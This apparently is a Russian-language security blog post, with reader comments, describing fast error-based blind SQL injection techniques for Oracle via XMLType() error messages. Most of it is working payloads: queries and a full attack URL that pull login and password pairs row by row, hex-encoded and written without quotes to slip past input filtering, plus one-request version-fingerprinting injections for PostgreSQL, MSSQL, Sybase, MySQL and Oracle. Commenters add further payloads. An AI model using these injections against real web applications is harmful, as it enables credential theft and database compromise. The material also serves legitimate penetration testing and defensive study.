Быстрые техники эксплуатации blind SQL Injection в Oracle

Обладая интересной подборкой быстрых способов эксплуатации слепых SQL-инъекций, мне недоставало аналогичных техник под не менее распространенную СУБД Oracle. Это побудило меня провести небольшой ресерч, направленный на поиск подобных техник в указанной базе данных.

Убедившись в том, что все известные способы эксплуатации error-based blind SQL Injection не работают в среде оракла, мое внимание привлекли функции взаимодействия с форматом XML. Немного поковырявшись в них, была обнаружена функция XMLType(), которая возвращает в сообщении об ошибке первый символ из запрашиваемых данных (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

Уже хлеб. Используя функцию substr() становиться возможным посимвольное чтение требуемой информации. Например, можно достаточно быстро определить версию установленной базы данных:

select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...и т.п.

Считывание одного символа в один запрос при эксплуатации слепых SQL-инъекций – это здорово, но было бы глупо останавливаться на достигнутом.

Продолжая копать функцию XMLType() мне удалось найти аналогичный способ проброса данных в сообщении об ошибке, который существует и в других базах данных:

SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>

Вроде бы все замечательно, но есть несколько подводных камней. Первая загвоздка заключается в том, что в оракле не происходит автоматическое приведение типов. Поэтому такой запрос выдаст ошибку:

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>'
 from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>'
 from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -

Второй нюанс заключается в том, что у ораклятины отсутствует limit и offset, что не позволяет простым путем осуществлять построчное чтение данных. И третья проблема связана с тем, что функция XMLType() при обработке ошибки обрезает возвращаемые данные после некоторых символов. Например, когда в строке встречается пробел или символ at ("@") и др..

Но все можно разрулить;) Для решения проблемы с приведением типов может использоваться функция upper(). Организовать построчное чтение данных, можно с использованием следующей нехитрой конструкции:

select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...

Ну, а для того, чтобы избежать потерю возвращаемых данных, может использоваться hex-кодирование. Опционально, можно также избавиться от кавычек в отправляемом запросе используя числовое представление символов (ascii), что в перспективе позволит обходить фильтрацию при обработке поступающих данных в приложение. Таким образом, конечный запрос примет следующий вид:

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...

Используя данную технику за один http-запрос можно считывать до 214 байт в приложении (107 символов при использовании hex-кодирования), которое функционирует под управлением СУБД Oracle >=9.0 и возвращает сообщение об ошибке:

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--





Для декодирования получаемых данных из приложения при эксплуатации SQL-инъекции описанным способом, в том числе, может использоваться стандартная функция оракла utl_raw.cast_to_varchar2():



Таким образом, учитывая предыдущую публикацию на эту тему, доступны универсальные и быстрые техники эксплуатации error-based blind SQL Injection для следующих СУБД: PostgreSQL, MSSQL, Sybase, а также для MySQL версии >=4.1 и Oracle версии >=9.0. Для идентификации используемой версии базы данных в один http-запрос, могут применяться следующие конструкции:

PostgreSQL:
/?param=1 and(1)=cast(version() as numeric)--

MSSQL:
/?param=1 and(1)=convert(int,@@version)--

Sybase:
/?param=1 and(1)=convert(int,@@version)--

MySQL>=4.1<5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--

ИЛИ
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

MySQL>=5.0:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Oracle >=9.0:
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

6 комментариев :

  1. Присоединяюсь к посту выше - отличное исследование в Oracle sql inj. Надо взять на вооружение

    ОтветитьУдалить
  2. Oracle >=8.0:
    /?param=1 and(1)=(utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1)))--

    ОтветитьУдалить
  3. В тему error based на mysql
    https://rdot.org/forum/showthread.php?t=503

    ОтветитьУдалить
  4. не смог проиграть вектор :(

    mysql> select count(*),concat(version(),floor(rand(0)*2))x from test group by x;

    ERROR 1062: Duplicate entry '3.23.58-max-debug1' for key 1
    mysql> select a from test where a='test1' group by concat(version(),floor(rand(0)*2)) having min(0);

    Empty set (0.20 sec)

    на MySQL 4.0.27 ситуация аналогичная

    ОтветитьУдалить
  5. универсальный детект версии MySQL 3x-4.0.x

    or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1--

    tnx BlackFan

    ОтветитьУдалить